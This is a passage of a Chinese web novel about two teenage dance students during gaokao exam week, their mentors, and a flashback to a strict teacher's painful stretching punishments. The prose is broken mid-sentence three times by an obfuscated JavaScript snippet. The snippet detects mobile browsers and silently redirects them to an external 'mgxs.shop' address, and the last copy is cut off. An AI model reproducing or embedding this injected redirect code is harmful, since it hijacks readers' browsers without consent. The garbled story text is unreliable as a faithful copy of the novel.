从来没想过彦霖哥会打他,以一种爱之深责之切的姿态,对他扬起那薄薄一块木板。看到戒尺,任谁都怕,挨在身上,更是既羞,也疼。可不知怎么的,自己竟因为这倾心提点的责打,寻到了睽违多年的父爱般的关怀;时常小心翼翼的那颗心,也突然有了可以依赖的感觉。彦霖哥那宽厚挺拔的身影,仿佛也和许久不曾亲近的、再寻不到旧日痕迹的父亲,在氤氲的眼前,一点点地重合了。 —————————————— 五月底,正是暑气刚刚上来的时候,却也时有像今天这样凉爽的夜晚,敞着窗户,冰冰柔柔的晚风,比冷气要惬意许多。写字桌一角的台灯还亮着,明亮的灯光透不过桌前埋着头的身影,在地上拉出一条长长的影子,也在房间里映出一片柔和的橙黄。 一个月来的每个夜晚,结束晚训的彦承拖着疲惫的身体推开房门时,便总有晓希从书桌前扬起头来,带着暖暖笑意、和着满屋的宁静等着他。 又过了一天啊…… 彦承揉着刚给萧泽哥“蹂躏”过的双腿朝楼上走,嘴里也不忘念叨着些有的没的。自己又拼过了一天,而晓希离那个“大日子”也又近了一天。 “回来了?” 彦承轻轻推开门,看见晓希正如往常一样埋头在桌前,笔尖翻飞个不停。想是正做到艰涩的地方,他少有的没有抬头,只在听到门声后轻声问了一句。 “嗯”,彦承低声应着,也没多说什么。随手在身后关上门,便那么就着懒懒地靠着,一时也没了动静。晓希写了一阵,才突觉安静的过分,不禁抬起头来,只见彦承正哈腰靠在门上,双手拄着膝盖,头深深埋着,好像全身的重量都架在了凸起的双肩上。 “累了吧。” 晓希心下一酸,连忙拉着他去床边坐。其实就算不问,想也知道是累坏了;附中里的孩子也都一样,练功累散了架,又没处坐,便三三两两的这么撑着,累的一句话都不想说;更何况,一个人跟着学长单练的日子,必定是更不容易的。 彦承一沾到床上就顺势躺倒了,侧过身将自己蜷成一团,一只手还牵着晓希,另一只手背就垫在脸颊下,眼睛眨巴眨巴地盯着床单,“嗯……腿疼。” 和彦承一起练舞这么久,还没有哪天他能不龇牙咧嘴地叫苦叫累的。只是看惯了他抱怨个没完的样子,就知道越是吵闹的起劲儿的时候越是没事儿,倒是像现在这么安安静静一言不发的,蓦地叫人说不出的心疼。 “帮你放洗澡水?泡个热水澡,睡一觉就能缓过来了。” 晓希安慰地拍了拍他肩膀,说着就要起身,彦承却一下子坐起来,一把抓住了他胳膊,“不要不要,我自己去,你学你的。” 彦承生怕占用一点晓希学习的时间,话还没说完就挣扎地站起身来,抬眼看到一脸不放心的晓希,不禁扯出个轻松的笑容给他,“没事儿的,洗个澡的力气我还能没有!” “好,那有事儿叫我。” 晓希明白他的心思,便也没有再坚持,看着彦承点点头,特意操着愉快的尾音闪进了浴室,“好嘞~” 浴室里响起阵阵水声,又坐回桌前的晓希不禁仰在椅背上,阖着有些酸胀的眼睛。距离高考只剩一周了,时间走过的每一分每一秒都好像沙漏般一点点落在他已不堪重负的肩膀上。即便是以他的能力无论如何都能到达录取线,可学长对他更高的期望,总还是希望能拼力达到。从小到大在学业上都是一帆风顺的他,已经体验过一次失败的滋味了,他不能再让学长失望,也不能再陷入在自己看来仿佛是万劫不复的境地。 做完了手头的几道题,指针已拨到十一点。晓希起身收了桌面上的东西才陡觉浴室的水声也渐停歇,推开浴室的门,那家伙果然正瘫在浴缸里闭目养神。 皮都泡的皱了,也不知道赶紧出来。晓希默默的埋怨,氤氲的水汽下,彦承眉眼间的稚气看的他心头一动,伸手便不禁在他那与彦霖哥一模一样峰挺的鼻梁上刮了一下,“小爷,劳您动动地方,也换我洗洗?” 彦承本只懒洋洋的在浴缸里靠着,也不知道晓希什么时候进来。这会儿耳边才传进他的声音,鼻子上就给刮了一下,不情愿的睁开眼睛,近在眼前的一张瘦削脸庞配上带着些痞气笑容,竟让彦承有了时光穿梭的错觉---- 看惯了他在萧泽哥面前乖乖巧巧好学生的样子,几乎忘了,两人第一次见面的时候,他也是一张冰山脸,还带着斜斜牵起的嘴角对自己一脸嘲笑! “你……” “我什么?” 晓希伸手拨了拨水,果然已经有些凉了,便转身取浴巾,“出来吧,水都凉了,上床歇着去。” “哦”。脑海里还回味着方才一闪而逝的笑容,彦承呆呆的应了一声,扶着浴缸边上站起身,却在一秒钟内发现!自己……自己不还是赤身裸体着呢吗! 实在是……尴尬,彦承脸热的不知如何是好,只得下意识地蹲回水里,却觉得自己这么个姿势更加丢脸。这一下,晓希也跟着反应过来,白皙的脸颊几乎一下子就红到耳根,便也忙不迭低下头,手忙脚乱地把浴巾披到他肩上,“那个……都是男的,你慌什么?” 是啊,都是男的,有什么怕看的。在学校里,大家不都是一个澡堂子洗澡的么?谁也没特意去看谁,谁也没觉得不好意思啊。可偏偏就是这样的关系,竟是尴尬的不知如何是好了。 “我出去了。” 彦承披着浴巾埋着头出去,哩哩啦啦淋了一地的水。晓希看着他鸵鸟似的背影怔了好一阵,再低头去拔浴缸里的塞子时,想着想着就忍不住扑哧一声笑出来,承儿方才那副样子,怎么倒像是个受了欺负的小媳妇! 洗漱完毕,两个人并肩躺在床上,明明该是倒头就睡的时间了,却都一下子精神起来,彼此心口都像是有一只小仓鼠,欢跳着不停。彦承睡意全无,满脑子都是方才的小插曲,不耐地翻了个身,只见晓希也枕着手臂望天呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239505|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。“还不睡?” 晓希转头,月光下彦承的眼睛给映得闪亮,亮得他的心脏也倏地跳的更快了。“你——” 压下胸口的悸动,到了嘴边的情话都变成了嘱咐,“你快睡吧,明儿要又练一天功,小心吃不消。” “哦,” 情人的语气里是一半责怪一半关怀,彦承不可置否地应了一声。只是一提起练功……他忍不住动了动沉得好像灌了铅的双腿,胯根也酸的厉害,想到明天还是得忍着这些努力练功,心里不禁有些怕、还有些委屈。换做平时,他肯定早就忍不住念叨着诉起苦来,可是现在不行,晓希正是在冲刺的攻坚阶段,自己可不想让他挂心。“那你呢?” 晓希腾出一只手在他肩上安抚地拍了拍,“睡吧!我不困了,在心里默几篇古文。” ------------------------------------------------------------------------------------- 六月七号。 不是每年都有那么好的运气,能遇到个凉爽的夏天,今年就没有。早上一出门,天就黑压压的。季风性气候下夏天该有的那么一场雷阵雨迟迟不落,湿热的空气憋的人难受。 好歹也是高考,即便是彼此劝解着不要给晓希压力,到了考试当天,钟家还是齐齐出动送着应届考生林晓希到了考点门口。 “一定没问题的!\ 晓希加油! \ 别紧张,放松答!” 拉开车门要下车的一刹那,一路上都好似波澜不惊的三个人突然都多了话要说。晓希扑哧一笑,心里却是感动的不知道该怎么说,想了半天,还是重重的“嗯”了一声,没什么,比此时自信而又肯定的一声应答更让人安心了。 考生们陆陆续续进了考场,喧闹的大门口也突然安静下来,家长们尽力找个阴凉的地方坐下,三三两两的聊着天。彦霖见萧泽和承儿都没有要走的意思,便找了个地方停好车,开了车窗等着。 熄了火,没一会儿车子里就热了起来,萧泽下车去买几根雪糕,看着考场门口被暑热憋的脸红的家长们,不禁自嘲地摇了摇头------从前新闻里看见这样的报导总是不解,孩子考孩子的试,家长在外面等不等又不知道,到点来接不就成了。如今,考试的孩子换成了自家的晓希,他才体会到做家长的那份默默陪伴的苦心。 少说还有三个小时,干坐着也是无聊,碰巧考场附近有个小公园,彦霖便锁了车带着萧泽和彦承去公园里避避暑。 公园的大树下果真有一大片阴凉,彦霖拉着萧泽在长椅上坐了,吹着偶有的小微风,突然就来了兴致, “承儿,最近都学了什么了,跳一段儿给哥看看。” 一说到新舞,彦承眼神就不禁朝萧泽哥溜去,这几天为了这一支新舞可没少挨打,现在腿上还有昨天萧泽哥抽出来的檩子呢!要说实话,他现在可不敢跳,有那么几个动作,就是自己也觉得不过关,怎么敢拿出来在萧泽哥面前显? 萧泽如何看不出他那点儿心思,这一阵子彦承每天一个人跟着他单练没少吃苦头。只是想来情人难得有兴致,又是在外面,自然也不会在乎那么多,“你哥叫你跳就跳吧,不挑你错儿。” “那…好吧”。萧泽哥虽放了话,彦承心里还是没底,前后左右的瞄了半天,确定没人在看,才倒退了两步默数着拍子开始。没有音乐,心里又担心着哥哥们的反应,几个八拍下来,动作很是拘谨。饶是萧泽说着不挑错,也不禁看的直皱眉,彦霖却像是心有灵犀般,紧了紧和他相扣的手指,侧过头低声与他耳语,“孩子已经够紧张了,你眼里啊、就揉一回沙子吧。” 热热的风一阵阵吹着耳朵,少有的孩子般撒娇的语气,一下子就把萧泽的心给说软了,到了嘴边的要提点的话终于没有说出口。 8. 第八章 第八章 吃过晚饭,照例是歇上一会儿才练晚功,晓希和彦承一起往卧室走。前脚才进门,后脚彦承就从后面一头扑到晓希身上,声音里还带着那么一点点儿惊恐,“晓希……你要救我!” 白天的考试算是正常发挥,晓希心情也不错,扭头瞥了一眼挂在自己身上的彦承,忍不住抿嘴一笑,“这又是怎么了?” “唉,能怎么?” 彦承无精打采的坐到床上,“就今天等你的时候,哥不知怎么的来了兴致,非让我给跳舞。我那支舞本来就是新学的,清早公园里又有老大爷老大妈锻炼身体……,我一紧张……就……” 能让这小子怕成这样的,这一段儿跳得得是有多七零八落啊。彦承还没讲完晓希已经猜出个大概,看着这家伙一脸担忧的模样,不禁觉得好笑,出了口的劝慰也不小心变成挤兑,“当初比赛时在台下坐那么多评委你都放开了跳了,怎么公园里的大爷大妈们就能把你吓成这样?” “我——” 彦承一时语塞,不禁立起了眉毛不再做声,晓希却是越看他那副赌气的样子越觉得可爱,“哈哈行了,现在就去陪你练,保证等会儿学长看的时候满意还不成? ” 满意……哪那么容易满意啊……从开始跟萧泽哥练舞那天起就不知道什么是满意。彦承嘴上叨咕着,心里却舍不得浪费晓希一点儿时间。第一天才考完,现在可是攻坚阶段。自己这舞,今天再怎么练也就是这样了,可不能为了少挨点骂耽误了晓希的大事。 “其实。。。不用的,我也就是那么一说,你还是好好看书吧,我走了。” “嘿!”晓希一把抓住开门要走的彦承,面色里带了些淡淡的责怪,“学了那么久了,会就是会,不会也还是不会,不差这一会儿了。等我换个衣服,一起去。” “真的啊……不好吧” 冲着情人走进衣橱的背影,彦承十分为难又有些违心的拒绝着,可不知怎么着,一想到今晚空荡荡的练功房不只是自己,那丝为难就化为嘴角的牵起的甜蜜。 晓希推开练功房的门,熟悉的仿佛只属于练功房的味道便扑面而来。偌大的房间里,垫子、练功凳各样的器材都整齐的归置在一旁,房间的每一个角落都透着说不出的宁和静谧。晓希有些出神地走到房间一侧,看着彦承熟门熟路开始热身,不禁有些感慨。不过几个月前,自己还在这房间里摸爬滚打,从早练到晚,可近来的一个月,他每周在练功房里呆的时间还不如那时候一天多。 已经有些想念了呢。晓希抬起手,轻轻摩挲着光滑的把杆。再有一天,结束了高考,无论结果如何,他都又能重新拥抱这与他自小为伴的地毯、把干、和落地镜了。 “先把整个曲子跳一遍吧,然后再帮你把重点的动作抠一下。” 晓希在把干旁热着身,见彦承活动的差不多了,便叫他先跳跳看,自己也下把在地上开了个横叉,随意地压着。 “好,”彦承拿过手机调音乐,却边摆弄着边不时地抬头去看对面的晓希。看了两眼,终于忍不住皱起眉头,“欸这怎么搞的,怎么被你盯着我也紧张啊……” 晓希忍不住想笑,却还是强撑着没好气地挑起眉毛,“还废话,再磨叽学长可就来了啊?” 虽然嘴上说着紧张,可音乐声一响起,彦承很快就进入了状态,左臂从身前微微撩起,紧接着一个坐姿后翻,灵巧地站了起来。 彦承腰软腿又长,这个动作膝盖和脚尖绷的也好,所以翻的十分漂亮。晓希不自觉地点点头,单凭这个开头,倒一点看不出生疏的样子。 只是这支舞,他太熟了。 旁人也许看不出,可只要是内行扫两眼就能明白整个编排对舞者舞感和控制力的要求,许多片段都是急走急停,节奏张弛不一,对动作的要求也都是在毫厘之间。舞者哪怕是有一点点把握不住,就会把整段舞跳的拖泥带水毫无美韵律。刚开始跟着文导上小课的那两年,只这支舞他就跳了整整三个月。 音乐还在继续,房间中央的彦承,尽管很认真地跳着,脚下却渐渐开始不利落起来。晓希静静地看着他,脸上不禁挂上感同身受的笑意——一个个熟悉的动作里,他一下子,就跌进了从前的记忆里。每次没能做到位就不得不赶去下一串动作,每个连接上的生硬不和谐…好像眼前人现在卡住的每一个坎,他都曾一个不差地错过… ------------------------- “对不起!上节老师拖堂,所以过来迟了。” 十四岁的自己,一进房门就迫不及待的道歉。下了课,连晚饭都顾不及吃就奔去那间熟悉的小练功房,那里有让他又敬又怕的文筱老师,却也有对未来的无限希望----有谁不知道,在首都的地界上,要么文筱,要么秦卿,能拜在一方门下,都是三生有幸了。 文筱拎着教鞭坐在落地镜前的矮凳上,倒不计较这几分钟,只是三年前的她,比现在,多了些雷厉风行,少了些温柔慈爱。询问起昨天教过的那段舞,晓希不禁心里打起了鼓:练是练了,可练得不好。 文筱朝房间中央挑挑下巴,示意他开始,晓希却紧张地抠着手指,不敢跳。刚开学没几天,正是忙的时候。文导又只教了两遍就叫他自己琢磨,昨晚在练功房一直练到熄灯却还只是掌握个七七八八。 从附中到大学,舞校上下谁不知道文导的眼睛最毒,要求最高,但凡是要跟文导排练的学长学姐们,哪个不是打起十二分的精神。如今自己这练得半生不熟的片段,怎么敢往文导眼前搬呢? 只可惜,不管心里再怎么忐忑,老师威严的目光扫过来,谁也不敢拖沓。 没有音乐,便自己在心里数着拍子起舞。文筱从旁看着,纤长的手指夹着教鞭,跟随节奏轻轻打着拍子。前几个八拍还看的过眼,可是越往后…文筱的脸色不禁也暗了下来—— 越看越不入眼,一个假期放回来,果真什么都扔了。 可谓是战战兢兢地跳完了这么一段,晓希有些局促的站在地当间,眼看着文导不说话,心里也越发的没底。从小到大他都是老师眼里的优等生,教了新动作,他一定是最先学会,长长的把杆上,他永远站在中间,永远到房中央做示范。可自从跟了文导,他就必须接受不停被挑剔,不停被否定,接受在一次次挫败中——达到足金足赤的完美。 令人窒息的沉默下,空气中好像已经弥散出紧张的气味。林晓希被文筱盯的如芒在背,终于扛不住抬眼去看她,可眼神撞上的一瞬间,浑身的肌肉就登时紧绷了起来。 “文老师……” 算不上是讨饶,声音里却是带了几分心虚。 眼前人脸色一沉,倏地站起身来,教鞭也“啪”的一声甩到凳子上,“我看你这假期过得挺爽快的,嗯?” 老师绞着手臂站在身前,林晓希狠狠咬住嘴角的内侧,强压着后退的欲望,死死站定在那里。 “感情抓不准的话,不说你,动作做不到位,还要我教?知不知道自己是来这儿学什么的。是不是刚开学,基训老师还没来得及收拾你们呢!” 文筱目光如炬,逼着晓希拼命想要直视的目光一点点低下去。。。一整个长假,再怎么说着天天练功还是不比在学校里,本来已经想着开学这几天要抓紧补回来,却还是没来得及追回落了一假期的功。心里的愧疚明明已难以言喻,少年的面子却无论如何也抹不开,晓希红着脸杵在那儿,只觉得喉咙梗的难受。 房间安静的出奇,他脑海里却是一阵阵波涛汹涌。良久,晓希终于重新抬起头,内疚地望进文导的眸子里,“对不起。不会有下次了,我以后一定好好练,一定——”,少年抿了抿唇,几乎是起誓一般地说道,“再也不偷懒!” 是个懂事的孩子。文筱内心有些触动,神色稍稍缓和了些。对于林晓希这孩子,她知道自己话重了,可她看中的这些孩子们,哪个不是可造之材?都是皮头皮脑的年纪,都多多少少少了份自律,不时常跟在后面敲打几回就真是不行。 “那练吧,就在这儿练。你什么时候练好了什么时候帮你看动作。今天不练好这段我们俩谁也不要出这个门。” 文筱朝着一旁的练功凳虚虚一指,随即便拿出包里厚厚的一叠材料坐回了椅子上。 晓希扭头看着少说一尺高的长凳,嘴唇不禁抿得更紧了。再回头去寻文导,却见她已埋头读起手中的教案。 知道今天肯定是要吃一番苦头了,少年默默到把干旁又认认真真地做了遍热身。等到身子再热起来,就去把房间角落的沙袋都一一拖了出来。 一切准备就绪,他忍不住又抬眼去看文导,见她还是没有半分要理自己的意思,只得收回目光,一时看着眼前的高度有些发愣。 倒不是害怕,只是想着这么点基训的东西竟然要文导耗时间陪他练……还没来得及退去的内疚就又前赴后继的奔涌上来。 “呼啦”的一声突然在耳边响起,林晓希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239506|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊得一下子抬起头,只看见文导刷地翻过一页纸,却是眉毛都没抬一下,“再这么磨蹭,晚上我们俩可都没饭吃了。” 晓希听得脸上一红,连忙矮下身将脚搭在了凳面上,然后放直双腿摆正了胯,肌肉撕扯的感觉已经随之而至。眼神再次心虚地飘向一边,好在,老师没在看。 晓希偷偷地舒了口气,认命般地松开双手,一点点振压着往下贴。腿根的疼痛一点点递增,却没文导灼人的目光难忍,想到自己明知道文导的要求高,却还是没能拼命地利用假期时间好好进步,哪怕是巩固……就觉得现在再怎么疼——也是自己活该。 目光停留在绷直的脚背上,晓希微微挺直身子,将脚背绷的更紧些,心里,也逐一想着每一处动作要领调整自己,腰立直,张肩,伸长脖颈,胯摆正,身体放松。。。 呃…… 猝不及防加重的疼痛让晓希一下子就弯了腰忍不住向前扑去,慌乱地抬眼才发现,不知道什么时候,文导竟已站在身后,一只脚正牢牢踩在自己的胯根上。晓希下意识拼命撑着地面,双臂却猛地被从身边拉起捏到一起,只往后轻轻一带自己就被迫拗成了挺胸抬头的姿势。 “嗯……” 顿时失了支撑的身体好像瞬间就沉下去一截,晓希狠狠皱紧眉眼,强自把一声呼痛封在了喉咙里。 大开的双腿,一面是韧带撕裂般的锐痛,一面是筋骨一点点掰开的酸痛,晓希死死咬着嘴角内侧,只感觉冷汗瞬间在额头续起,又顺着眉角簌簌的落下来。 “绷脚!” 文导踩在身后的力气很霸道,丝毫无处借力的晓希几乎能清晰感觉到每一丝加重的力道。顾不得汗水蛰的眼睛发涩,他连忙拼命蜷了蜷脚尖,却越发觉得好像全身上下的神经都只能集中在一处,满脑子就都只容得下一个疼字。 不管多努力的想要去分散注意力,无论如何死咬着嘴唇,那种韧带上几乎每根纤维都被生生撕扯开的疼痛就是不肯善罢甘休地叫嚣着。然后伴随着更深更激烈的拉伸,双臂也一点点被向后拽去,晓希无助地仰起头,难受地连嘴唇都咬不住。 终于,踏踏实实接触地面的一刹那,心中竟莫名地松了一口气,可随即,紧跟着袭来的却是更深的绝望——那种连一秒钟都无法忍受的疼痛,竟然要坚持到不知什么时候,只要一触碰到这样的念头,已经偷偷蓄到眼眶的咸涩液体就忍不住要涌出来。 每一秒,都比上一秒更疼、更难捱。 林晓希一边发着抖一边恨不得不顾一切挣扎出来。只是……能跟着文导的机会太不容易,又明明是自己练得不够,因此哪怕是再忍不住,也都只能忍…… 也不知道过了多久,手臂终于被松开,身后也变成了重重的沙袋,晓希扶着地虚脱地向前倒去,却在肩膀只挪动了一毫米的瞬间生生将自己定在那里:耗腿的时候还敢乱动的话,自己才是真的要惹文导生气了。 可是……当文导若无其事的回去继续看着教案,当难以言喻的疼痛一点点蚕食他的意志力,小小的放松就变成了垂首驼背,双手也不自觉的撑起身体,试图稍稍挪动着减缓哪怕一丝疼痛。 于是动作一点点变大,越是放松让自己好过些,那疼就好像越是难忍。晓希专心地让意志力与自我放纵做斗争,以至于忽略了自己越发放肆的窸窸窣窣的小动作都尽数落在文导眼里。 教案摔在凳子上,文筱倏地站起身。“啪”的一声也将正兀自忙碌的少年惊醒。就那么一瞬间,连呼吸都滞住,第一次,那么害怕,生怕头也不回走向门口的文导,就这样不要他了。 “老师我错了!”冲口而出就是这么句话,带着遮掩不住的懊悔和惊恐,文筱不禁脚下一顿。 饮水机上的水桶咕噜咕噜地冒了几个大泡,晓希长舒一口气,不禁又笑自己一根筋,饮水机也在门边的,怎么就觉得文导是要出门去呢。这么一走神的功夫,文导已走回到他身前。晓希明知道犯了错,咬着嘴唇,有些不好意思地去接纸杯,不想却被轻轻一躲给让开了,“转回去,怎么耗腿的。” 晓希微微一愣,连忙转回身,张肩拔背,昂首挺胸,膝盖,脚尖……脸上,却是一点委屈的神情都不敢露。超负荷的疼痛更加放肆地冲击神经……然后头顶一沉,晓希惊愕地瞪大眼睛!这杯水竟被稳稳地架在自己的头顶。 文导听了就叫人生寒的声音也高高的从上方传来,“纸杯敢掉下来的话,以后就别想再进我的门。” 9. 第九章 明明是两只装着水的轻量水杯,搁在肩头上却仿佛有千斤的重量。水装的很满,身体只要略微有晃动,杯子里的水就可能会撒出来,文导确实是下了狠心的。 晓希一动都不敢动,用最最标准的姿势,忍受着地狱般的煎熬——为自己假期里不负责任的懈怠,为刚才放肆的小动作,更害怕说一不二的文导,会对自己说放弃。 好不容易才争取来的机会,怎么能就这样轻言放弃。 林晓希敛下心神,放平稳呼吸,将视线凝聚在一点上使身体维持更好的平衡。双腿的痛点随着时间的流逝慢慢延展开来,变成一种不太尖锐的暖流,传递到他绷紧的脚背上。 远远看过去,汗湿的薄薄的练功服整件都贴在身上晓希身上,勾勒出少年美好的肌肉线条,凝固的仿佛一座巨匠雕刻塑像,充满力与静止的博弈。 舞蹈室里只有资料翻动的细微咔嚓声,最后文导也忍不住将视线投放到晓希的身上,定定的看着他,感叹自己果然是没有看错人。 走廊上响起脚步声,熟悉的身影在教室的玻璃上一闪而过,文导放下资料站起身,脸上带着连他自己都没有察觉到的自豪。 “呦!文导这又是给谁开小灶呢!”推门进来的孔爵本来脸上还带着看好戏的笑容,在发现林晓希的肩膀上端的两杯水后,忍不住高挑起眉头,“我家小师弟厉害啊!” 文导冲孔爵摆摆手,自己起身去向教室门口,林晓希却仿佛没有听见孔爵的话,依旧纹丝不动的摆着标准的姿势,等到文导在外面和孔爵谈话完毕回来,时间已经又过去了十分钟。 “晓希哥~” “晓希哥……” “晓希哥!” 林晓希一个激灵回到现实,眼前那里还有文导的影子,分明是彦承一舞毕后有些汗湿的脑袋。晓希贼兮兮的刮刮彦承的鼻子,笑道:“刚才走神了,不然,你再跳一次?” 舞蹈室里顿时传来彦承的假假的惨叫声,少年人笑着扑到林晓希身上,两个人顿时滚在一起。 “想什么那么出神呢!很少看你走神诶!” 林晓希被扑倒在地,看着上方彦承亮晶晶的眼神,伸手捏他鼻子:“听着你的音乐,忽然就想起刚开始跟着文导的事情,真是抱歉啊,接下来,和你一起跳一遍,就算是赔罪,好不好?” 听到晓希提到文导,彦承倒是来了兴趣,准备等他高考结束后好好挖掘挖掘从前的各种八卦。现在时间已经不早,再耽误下去晚上肯定会让晓希睡眠不佳,明天说不定就影响到考试,那自己就是千古罪人了! 两人从舞蹈室的木地板上站起来后,音乐重新开始。这一次晓希是用百分之两百的精神来指点彦承的动作,就连萧泽是什么时候在旁边驻足观看的也不知道。 彦承在晓希的带领下,完全和早上在公园里的表现判若两人。萧泽忍不住苦笑着摇摇头,等到两人将一整遍舞蹈练下来后,拍拍手道:“今天晚上就不要练的太晚,承儿在这里练,我看明天要考试的晓希也放不下心。” 彦承如蒙大赦,俏皮的问道:“可以去客厅看电影吗?” 萧泽忍不住走过去给他擦擦脸上的汗:“只许看到十点半,和平时作息一样。” 两个大男孩欢呼着立刻跑路。 睡觉前林晓希迅速的将第二天要考的两个科目最重要的知识点过目一遍后,就信心十足的躺下休息。倒是彦承反而紧张的睡不着觉,又怕把晓希吵醒,连翻身都不敢,睁着眼睛一直到清晨才浅浅的睡了一觉。 四个人围在一起吃早饭的时候,连彦霖都忍不住笑话弟弟。 “这还没轮到自己高考呢,就紧张成这样,要过两年轮到了,那还不得给你备好安眠药。” 晓希知道彦承是担心自己,自然是心疼的不得了。在去考场的路上让他靠在自己身上补眠,进考场前还在倒过去嘱咐他一会儿再小睡一下。 看着情人走进考场,彦承忍不住朝他挥舞小拳头表示加油。一旁的萧泽和彦霖也和昨天一样,并没有对晓希嘱咐太多,只淡淡的叮咛几句,却从眼神里自然而然的流露出关怀。 有这样的家人们,他林晓希何德何能。 晓希抱紧手里的文具包,自信满满的踏进考场。 这天的天气还算比较凉爽,但学校外面聚集了实在太多的家长吱吱喳喳的讨论声不停的传进车内。今天萧泽倒没有要求彦承再当众现舞,而是让彦霖开着车去市区里的饭店订位置。 这一来一去的倒是花费上不少功夫,中午回来的时候,晓希上午的科目也差不多考好,等上不到半个小时,就有考生陆陆续续的出来了。 中午几个人在附近干净的餐馆里吃上一顿,这个餐馆设施比较齐全,也有客房。萧泽开了两间房,下午让两个孩子休息上一个小时,等到考前半个小时,再步行送晓希进考场。 由于是最后一门,下午等候的家长特别多。就连考生们也犹自兴奋,不少人已经开始聊关于假期去哪里旅游的打算,更有人兴致勃勃的提出今天晚上就去KTV唱一个通宵,人生难得潇洒一回。 最后一门是晓希最擅长的,考试结束铃声一响,整个校园都跟炸开了似的,林晓希挂着满脸的笑容小跑着出来,给了大家一个人一个大大的拥抱。 此刻所有人需要的就是放松。彦霖发动车子后,晓希发现车子不是往家的方向开,不禁有点好奇。可是大家都闭口不说,就连彦承也紧闭着嘴巴,还在自己嘴上做出上拉链的动作。 车辆绕过堵车的市中心,缓缓驶向一家古色古香的宅院。 晓希看着这一片有些熟悉的景色,是市区里有名的古文化餐饮一条街,于是也终于知道肯定是大家安排给他一个惊喜,想让自己好好放松一下。 只不过,这个惊喜远远超过林晓希能想象的。 四个人一进宅院,就看见孔爵正带着王思邈蹲在一座假山边上看池子里的红鲤鱼,而闲闲靠在暗红圆柱子上的正是这次专业课的第一名——陶乐钦。 林晓希的身体瞬间绷紧,原本还有些轻松的脚步顿在原地,害欢腾的彦承没止住脚步,脸直接撞上他的后脖子。 “晓希哥!怎么了嘛!”捂着鼻子的彦承显然不知道眼前这个人就是陶乐钦,好奇的往前面张望。看到思思朝自己扬起的笑脸,忍不住立刻朝他比个鬼脸。 萧泽拍拍林晓希的肩膀,“还不上去跟大家打招呼。” 和事老孔爵笑眯眯的拍拍林晓希的肩膀,“哎呦!今天我们这里两个考生,来来,快握个手!” 陶乐欣冲林晓希伸手,带着点挑衅的语气笑道:“这次揭榜,不知道谁会是赢家。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“晓希哥,我觉得你都不你了。” 林晓希听见彦承说话,终于回过神来,他今天毕竟参加了两场大考试,晚上又是吃饭又是敬酒,身体有些乏了,就连说话的声音也有些沙哑:“抱歉,我有些累了而已。” 彦承揉揉鼻子,“晓希哥,陶乐钦有什么了不起的!等你上了大学,肯定能把他踩在脚下!”说完彦承还比了个踩踏的姿势,林晓希站起来揉揉他脑袋,“可不许这样不尊重别人!我去洗澡,你先睡吧!” 晓希没有去洗澡,一个人漫无目的走去客厅,在厨房里转一圈后,又来到舞蹈室。在看到萧泽的影子,一颗悬起来的心仿佛才真正放心来。 萧泽正坐在地板上,舞蹈教室里放着轻音乐,他正在活动脚尖。 “萧泽哥……” 萧泽从回家开始就在等林晓希,看晚上这孩子的表现,就知道此刻他心里还是苦闷的,自己有心安排的事情,晓希未必能看的清。 “是不是,觉得委屈了?” 林晓希不说话,手指紧张的拨弄着自己的裤摆。 “是你真的害怕陶乐钦,还是对自己没有勇气和信心?” 林晓希深深的低下头。 萧泽站起来,拍拍落地镜前的把杆:“晓希,你试过极限没有?” “没有……” 萧泽自己劈了一个标准的竖叉上去:“怎么会没有,从你第一次开始练舞,每一次都是一个打破极限的过程。人的潜力和极限,总是无穷的。” 抬起头来的萧泽,双眼里充满亮光。林晓希心里仿佛被猛烈的撞击一下,举步走过来,也劈了一个竖叉上去,仿佛是为了验证萧泽刚才的话,将自己的身体猛的沉下去。 10. 第十章 骤然而来的疼痛让晓希忍不住狠狠一皱眉,昨天才在记忆中温习的撕裂,如此之快地就在现实中重演。一直忙着学习的两个月,竟开始不习惯这过去常常为伴的感受。 全凭着自己的力量,一点点下沉,下沉,直到肌肉因过分紧绷而微微颤抖,痛感越来越强,脑海中不禁闪过一丝想要放弃的念头。然方才还并肩而立的学长不知何时已站在身后,晓希会意,忍不住紧了紧握着把杆的手,长长呼了一口气。 跟着学长练功,又是所谓的突破,少不了是一番撕心裂肺。若不是已经练舞这么多年,若不是不愿给学长看见自己没出息的一面……这样的疼,是无论如何都会忍不住的吧…… 纤细的十指死死扣着把杆,许是因为太过用力,指骨在白皙的皮肤下线条清晰。萧泽俯下身,一只手一边感受肌肉的变化,脚下一边小心地拿捏着力道。“想什么呢?就这一秒,心里在想什么?” “嗯?”这话问的太突然,晓希一时竟没有反应过来。 “实话,在想什么。” “在想……呃……”嗓音中带着一丝沙哑,周身的力量和全部的神经都用来坚持和忍耐,仿佛说话都是沉重的负担,“在想……要好好忍住。” 果真是句老实话。萧泽忍不住轻笑一声,“我一直觉得,那些说内心痛苦比身体痛苦更难忍受的人,可能都没有真正的吃过苦。”晓希苦笑着点点头,却没有余力再多说什么了。 “所以有的时候,要对内心的自己,多一点欣赏,多一点感谢,多一点绝对的信任。” 